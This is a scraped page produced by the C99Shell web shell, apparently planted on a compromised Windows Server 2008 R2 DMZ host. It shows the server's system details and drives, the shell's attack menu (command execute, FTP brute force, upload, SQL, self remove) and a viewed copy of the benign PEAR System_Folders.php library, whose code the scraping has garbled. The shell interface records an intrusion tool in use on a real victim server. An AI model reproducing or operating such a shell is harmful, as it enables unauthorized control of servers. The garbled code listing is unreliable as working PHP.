!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\copia nuevo\php\pear\System\   drwxrwxrwx
Free 1.14 GB of 239.26 GB (0.47%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Folders.php (19.86 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
* Provides the locations of several system and user directories
* independent of the operating system used.
*
* Simpe example:
*     require_once 'System/Folders.php';
*     $sf = new System_Folders();
*     echo $sf->getHome();
*
* If you want the folders to be cached (not re-calculated on every
*  read), use System_Folders_Cached.
*
* PHP version 4
*
* @category System
* @package  System_Folders
* @author   Christian Weiske <cweiske@php.net>
* @license  http://www.gnu.org/copyleft/lesser.html LGPL
* @version  CVS: $Id$
* @link     http://pear.php.net/package/System_Folders
*/

require_once 'OS/Guess.php';

if (!
defined('SYS_LINUX')) {
    
define('SYS_LINUX''linux');
    
define('SYS_WINDOWS''windows');
    
define('SYS_MAC''darwin');
}

/**
* Provides the locations of several system and user directories
* independent of the operating system used.
*
* If a path does not exist or can't be found (error), NULL is returned.
*
* The class uses both $_ENV and $_SERVER to retrieve the environment
*  paths, as this seems to be different between php4 and 5.
*
* @category System
* @package  System_Folders
* @author   Christian Weiske <cweiske@php.net>
* @license  http://www.gnu.org/copyleft/lesser.html LGPL
* @link     http://pear.php.net/package/System_Folders
*/
class System_Folders
{
    
/**
    * The operating system on which
    * we work here
    * Gotten from OS_Guess::getSysname()
    *
    * Values (are lowercase):
    * - windows
    * - linux
    * - darwin
    *
    * Use the SYS_* constants to check it
    *
    * @var    string
    * @access protected
    */
    
var $sys 'unknown';

    
/**
    * Known names for the application directory
    * in windows.
    *
    * @var    array
    * @access protected
    */
    
var $arAppDataNames = array(
        
'Application data',       //english
        
'Anwendungsdaten',        //german
        
'Toepassingsgegevens',    //dutch
        
'Datos de programa',      //spanish
        
'Dados de aplicativos',   //portugese
        
'Data aplikací',          //czech
        
'Programdata',            //norwegian
        
'Henkilokohtainen',       //finnish
        
'Donnees d\'applications',//french
        
'Dati applicazioni',      //italian
        
'Dane aplikacji',         //polish
    
);


    
/**
    * Known names for the my documents directory
    * on windows.
    *
    * @var    array
    * @access protected
    */
    
var $arDocumentsWindows = array(
        
'My Documents',   //english
        
'Own Files',      //english?
        
'Eigene Dateien'//german
        
'Documenti',      //italian
    
);


    
/**
    * Known names for the my Desktop directory.
    *
    * @var    array
    * @access protected
    */
    
var $arDesktop = array(
        
'Desktop' //english, german, italian
    
);



    
/**
    * Known names for the my documents directory
    * on linux and mac.
    *
    * @var    array
    * @access protected
    */
    
var $arDocumentsLinux = array(
        
'Documents',    //english
        
'Dokumente',    //german
        
'Documenti',    //italian
    
);


    
/**
    * Known paths for the documents and settings directory
    * on windows.
    *
    * @var    array
    * @access protected
    */
    
var $arDocsAndSettings = array(
        
'C:\\Documents and Settings\\',     //english, italian
        
'C:\\Dokumente und Einstellungen\\' //german
    
);


    
/**
    * Known paths for the programs directory on windows.
    *
    * @var    array
    * @access protected
    */
    
var $arProgramsWindows = array(
        
'C:\\Program Files\\',
        
'C:\\Programs\\',
        
'C:\\Programme\\',     //german
        
'C:\\Programmi\\',     //italian
    
);

    
/**
    * Known names for the shared documents directory
    * on windows.
    * Although the explorer shows "Shared documents"
    * or "Gemeinsame Dokumente", the *real* directory
    * is only one of the ones here.
    *
    * @var    array
    * @access protected
    */
    
var $arSharedDocumentsWindows = array(
        
'Documents'//english
        
'Dokumente'//german
        
'Documenti'//italian
    
);

    
/**
    * Known paths for the windows directory.
    *
    * @var    array
    * @access protected
    */
    
var $arWindowsDirs = array(
        
'C:\\WINDOWS\\',
        
'C:\\WINNT\\',
        
'C:\\WIN98\\',
        
'C:\\WIN95\\',
        
'C:\\WIN2000\\',
        
'C:\\WIN2K\\',
        
'C:\\WINXP\\'
    
);

    
/**
    * COM object used in Windows to get
    * special folder locations via SpecialFolders()
    * described in
    * @link http://msdn.microsoft.com/library/default.asp?url=/library/en-us/script56/html/14761fa3-19be-4742-9f91-23b48cd9228f.asp
    *
    * Available folders:
    * AllUsersDesktop
    * AllUsersStartMenu
    * AllUsersPrograms
    * AllUsersStartup
    * Desktop
    * Favorites
    * Fonts
    * MyDocuments
    * NetHood
    * PrintHood
    * Programs
    * Recent
    * SendTo
    * StartMenu
    * Startup
    * Templates
    *
    * If this variable is NULL, it hasn't been created yet.
    * If it is FALSE, it cannot be created and used (e.g.
    *     because COM is not available)
    *
    * @var    COM
    * @access protected
    */
    
var $objCom null;



    
/**
    * Constructor; initializes the system variable.
    */
    
function System_Folders()
    {
        
$og = new OS_Guess();
        
$this->sys $og->getSysname();
    }
//function System_Folders()



    /**
    * Adds a trailing slash to the given path if there is none.
    * Uses DIRECTORY_SEPARATOR, so it works with windows and *nix.
    *
    * @param string $strPath The path
    *
    * @return string The path with a trailing slash
    *
    * @access protected
    */
    
function addTrailingSlash($strPath)
    {
        if (
$strPath === null) {
            return 
$strPath;
        }
        if (
substr($strPath, -1) !== DIRECTORY_SEPARATOR) {
            
$strPath .= DIRECTORY_SEPARATOR;
        }
        return 
$strPath;
    }
//function addTrailingSlash($strPath)



    /**
    * Directories in windows environment variables sometimes
    * have a double backslash, and this needs to be fixed.
    *
    * @param string $strPath The path
    *
    * @return string The fixed path
    *
    * @access protected
    */
    
function fixWindowsPath($strPath)
    {
        if (
$strPath === null) {
            return 
null;
        }
        return 
str_replace('\\\\''\\'$strPath);
    }
//function fixWindowsPath($strPath)



    /**
    * Loops through a list of given paths and checks
    * which of them are correct.
    *
    * @param array  $arPaths   Array with paths to test
    * @param string $strBase   Base directory that shall be prepended to all paths
    * @param string $strSuffix String appended to the directory path
    *
    * @return string The directory that exists. NULL if none of them matched.
    *
    * @access protected
    * @static
    */
    
function tryPaths($arPaths$strBase ''$strSuffix '')
    {
        foreach (
$arPaths as $strName) {
            
$strTmp $strBase $strName $strSuffix;
            if (
file_exists($strTmp) && is_dir($strTmp)) {
                return 
$strTmp;
            }
        }

        return 
null;
    }
//function tryPaths($arPaths, $strBase = '', $strSuffix = '')



    /**
    * Loads the COM object into the $objCom variable.
    *
    * @return boolean True if it could be loaded, false if not
    *
    * @access protected
    */
    
function loadCOM()
    {
        
//prevent double-loading
        
if ($this->objCom !== null) {
            return 
$this->objCom !== false;
        }

        if (!
class_exists('COM')) {
            
$this->objCom false;
            return 
false;
        }
        
$this->objCom = new COM('WScript.Shell');
        if (!
$this->objCom) {
            
$this->objCom false;
            return 
false;
        }
        return 
true;
    }
//function loadCOM()



    /**
    * Loads a windows path via COM using $objCom.
    *
    * @param string $strType See $objCom for allowed values.
    *
    * @return mixed False if no path could be obtained, string otherwise
    *
    * @access protected
    */
    
function getCOMPath($strType)
    {
        if (!
$this->loadCOM()) {
            return 
false;
        }
        
$strPath $this->objCom->SpecialFolders($strType);
        if (!
$strPath || $strPath == '') {
            return 
false;
        } else {
            return 
$strPath;
        }
    }
//function getCOMPath($strType)



    /**
    * Returns the All Users directory.
    * Works on windows only, returns NULL if not found.
    *
    * @return string The all users directory
    *
    * @access public
    */
    
function getAllUsers()
    {
        if (
$this->sys == SYS_WINDOWS) {
            
$arEnv $_SERVER $_ENV;
            if (isset(
$arEnv['ALLUSERSPROFILE'])
                && 
is_dir($arEnv['ALLUSERSPROFILE'])
            ) {
                return 
$this->addTrailingSlash($arEnv['ALLUSERSPROFILE']);
            } else {
                
$strDocsAndSettings System_Folders::tryPaths(
                    
$this->arDocsAndSettings
                
);
                if (
$strDocsAndSettings !== null) {
                    
$strAll $strDocsAndSettings 'All Users';
                    if (
is_dir($strAll)) {
                        return 
$this->addTrailingSlash($strAll);
                    }
                }
            }
        }
        return 
null;
    }
//function getAllUsers()



    /**
    * Returns the path to the application data directory.
    * This is the directory in which applications save their
    * settings.
    *
    * On Windows, this is an own directory called "Application data",
    * on *nix, the home directory is used.
    * MacOS X has two application settings directories:
    *  - $HOME/Library/Preferences/<pref_file> for normal settings
    *  - $HOME/Library/Application Support/<app_name>/ for data files that
    *         that the application needs to store
    * This method returns the latter, as it works for both storing just
    *  prefs and files in an application specific subdir. That's not 100%
    *  correct for apple, but it will work.
    *
    * @return string  The application data directory
    *
    * @access public
    */
    
function getAppData()
    {
        
$strAppData null;
        if (
$this->sys == SYS_WINDOWS) {
            
/**
            *   win2k/xp: user_dir/names
            *   win98: C:\windows\Anwendungsdaten|appdata
            */
            
$strHome $this->getHome();
            
$strAppData System_Folders::tryPaths($this->arAppDataNames$strHome);
            if (
$strAppData == null) {
                
/**
                *   We didn't find it in the user directory,
                *   so check the windows dir - win9x had the
                *   data there
                */
                
$strWindows $this->getWindows();
                
$strAppData System_Folders::tryPaths(
                    
$this->arAppDataNames$strWindows
                
);
            }
//appdata still null
        
} else {
            
$strAppData $this->getHome();
        }

        return 
$this->addTrailingSlash($strAppData);
    }
//function getAppData()



    /**
    * Returns the path to the user's desktop.
    *
    * @return string The user's desktop
    *
    * @access public
    */
    
function getDesktop()
    {
        
$strDesktop   null;

        if (
$this->sys == SYS_WINDOWS) {
            
$strDesktop $this->getCOMPath('Desktop');
            if (
$strDesktop !== false && file_exists($strDesktop)) {
                return 
$this->addTrailingSlash($this->fixWindowsPath($strDesktop));
            }
        }

        
$strHome      $this->getHome();
        if (
$strHome === null) {
            return 
null;
        }

        
$strDesktop System_Folders::tryPaths($this->arDesktop$strHome);

        return 
$this->addTrailingSlash($strDesktop);
    }
//function getDesktop()



    /**
    * Returns the path to the user's documents directory.
    * (normally below the home folder)
    *
    * @return string The "documents" directory
    *
    * @access public
    */
    
function getDocuments()
    {
        
$strDocuments null;

        if (
$this->sys == SYS_WINDOWS) {
            
$strDocuments $this->getCOMPath('MyDocuments');
            if (
$strDocuments !== false && file_exists($strDocuments)) {
                return 
$this->addTrailingSlash($this->fixWindowsPath($strDocuments));
            }
            
$arKnownNames $this->arDocumentsWindows;
        } else {
            
$arKnownNames $this->arDocumentsLinux;
        }

        
$strHome $this->getHome();
        if (
$strHome === null) {
            return 
null;
        }
        
$strDocuments System_Folders::tryPaths($arKnownNames$strHome);

        return 
$this->addTrailingSlash($strDocuments);
    }
//function getDocuments()



    /**
    * Returns the path to the user's home directory.
    *
    * @return string The user's home directory
    *
    * @access public
    */
    
function getHome()
    {
        
$strHome null;
        if (
$this->sys == SYS_LINUX) {
            if (isset(
$_ENV['HOME'])) {
                
//environment variable set
                
$strHome $_ENV['HOME'];
            } else {
                
//env not set, so try the default directory
                
$strUser $this->getUserName();
                if (
$strUser == 'root') {
                    
$strHome '/root';
                } else if (
$strUser !== null) {
                    
$strHome '/home/' $strUser;
                }
            }
        } else if (
$this->sys == SYS_MAC) {
            if (isset(
$_ENV['HOME'])) {
                
//environment variable set
                
$strHome $_ENV['HOME'];
            } else {
                
//env not set, so try the default directory
                
$strUser $this->getUserName();
                if (
$strUser !== null) {
                    
$strHome '/Users/' $strUser;
                }
            }
        } else if (
$this->sys == SYS_WINDOWS) {
            
$arEnv $_SERVER $_ENV;
            if (isset(
$arEnv['USERPROFILE'])) {
                
$strHome $arEnv['USERPROFILE'];
            } else if (isset(
$arEnv['HOMEPATH']) && isset($arEnv['HOMEDRIVE'])) {
                
$strHome $arEnv['HOMEDRIVE'] . $arEnv['HOMEPATH'];
            } else {
                
//guess it...
                
$strUser $this->getUserName();
                if (
$strUser !== null) {
                    
//It seems as if the german version of windows is the only
                    //one that translated "docs and settings". All other languages
                    //use the english name
                    
$strHome System_Folders::tryPaths(
                        
$this->arDocsAndSettings
                    
) . $strUser;
                }
            }
            
$strHome $this->fixWindowsPath($strHome);
        }
//windows

        
return $this->addTrailingSlash($strHome);
    }
//function getHome()



    /**
    * Returns the path to the programs directory.
    * This is the dir where all programs are installed
    * normally.
    *
    * On windows, it's mostly "C:\Programs\", on linux,
    * the /opt/ directory is returned.
    *
    * @return string The programs directory
    *
    * @access public
    */
    
function getPrograms()
    {
        
$strPrograms null;

        if (
$this->sys == SYS_LINUX) {
            if (
file_exists('/opt/') && is_dir('/opt/')) {
                
$strPrograms '/opt/';
            }
        } else if (
$this->sys == SYS_MAC) {
            
$strPrograms '/Applications/';
        } else if (
$this->sys == SYS_WINDOWS) {
            
$strPrograms $this->getCOMPath('Programs');
            if (
$strPrograms === false || !file_exists($strPrograms)) {
                
$arEnv $_SERVER $_ENV;
                if (isset(
$arEnv['ProgramFiles'])) {
                    
$strPrograms $arEnv['ProgramFiles'];
                } else {
                    
//guess it
                    
$strPrograms System_Folders::tryPaths(
                        
$this->arProgramsWindows
                    
);
                }
//guess it
            
}
            
$strPrograms $this->fixWindowsPath($strPrograms);
        }
//windows

        
return $this->addTrailingSlash($strPrograms);
    }
//function getPrograms()



    /**
    * Returns the path to the directory for temporary files.
    *
    * @return string The temporary directory
    *
    * @access public
    */
    
function getTemp()
    {
        
$strTemp null;

        if (
$this->sys == SYS_LINUX || $this->sys == SYS_MAC) {
            if (
file_exists('/tmp/') && is_dir('/tmp/')) {
                
$strTemp '/tmp/';
            }
        } else if (
$this->sys == SYS_WINDOWS) {
            
$arEnv $_SERVER $_ENV;
            if (isset(
$arEnv['TEMP'])) {
                
$strTemp $arEnv['TEMP'];
            } else if (isset(
$arEnv['TMP'])) {
                
$strTemp $arEnv['TMP'];
            } else {
                
//guess it
                
$strTemp System_Folders::tryPaths(
                    
$this->arWindowsDirs'''\\Temp'
                
);
            }
//no env variable
            
$strTemp $this->fixWindowsPath($strTemp);
        }
//windows

        
return $this->addTrailingSlash($strTemp);
    }
//function getTemp()



    /**
    * Returns the path to the shared documents directory.
    *
    * Supports windows only (at least for now) as no other
    * operating system seems to have such a folder.
    * Returns NULL on failure (not windows or not found).
    *
    * @return string The shared documents dir
    *
    * @access public
    */
    
function getSharedDocuments()
    {
        
$strShared null;
        if (
$this->sys == SYS_WINDOWS) {
            
$strAll $this->getAllUsers();
            if (
$strAll !== null) {
                
$strShared System_Folders::tryPaths(
                    
$this->arSharedDocumentsWindows$strAll
                
);
            }
        }

        return 
$this->addTrailingSlash($strShared);
    }
//function getSharedDocuments()



    /**
    * Returns the name of the guesses system.
    * Can be compared with SYS_* constants.
    *
    * @return string The detected system
    *
    * @access public
    */
    
function getSys()
    {
        return 
$this->sys;
    }
//function getSys()



    /**
    * Returns the name for the user
    * under which name the program runs.
    *
    * This function returns the *system user name*,
    * not the name with forename and surname
    * On unix, this would be e.g. 'fbar' or so for
    * the user 'Foo Bar'
    *
    * This method is used my most other methods, so
    * recognizing the user name is really important.
    * Be sure to check this method if the others fail.
    *
    * @return string The user name
    *
    * @access public
    */
    
function getUserName()
    {
        
$strUser null;
        if (
$this->sys == SYS_LINUX
            
|| $this->sys == SYS_MAC
        
) {
            if (isset(
$_ENV['USER'])) {
                
$strUser $_ENV['USER'];
            } else {
                
$strUser trim(`whoami`);
            }
        } else if (
$this->sys == SYS_WINDOWS) {
            
$arEnv $_SERVER $_ENV;
            if (isset(
$arEnv['USERNAME'])) {
                
$strUser $arEnv['USERNAME'];
            }
        }
        return 
$strUser;
    }
//function getUserName()



    /**
    * Returns the windows directory (if any).
    * NULL is returned if the system is not Windows.
    *
    * @return string The windows directory, NULL if not on windows
    *
    * @access public
    */
    
function getWindows()
    {
        if (
$this->sys != SYS_WINDOWS) {
            return 
null;
        }

        
$strWindows null;
        
$arEnv $_SERVER $_ENV;
        if (isset(
$arEnv['SystemRoot'])) {
            
$strWindows $arEnv['SystemRoot'];
        } else if (isset(
$arEnv['windir'])) {
            
$strWindows $arEnv['windir'];
        } else {
            
$strWindows System_Folders::tryPaths($this->arWindowsDirs);
        }
//no env variable

        
return $this->addTrailingSlash($this->fixWindowsPath($strWindows));
    }
//function getWindows()

}//class System_Folders
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.1092 ]--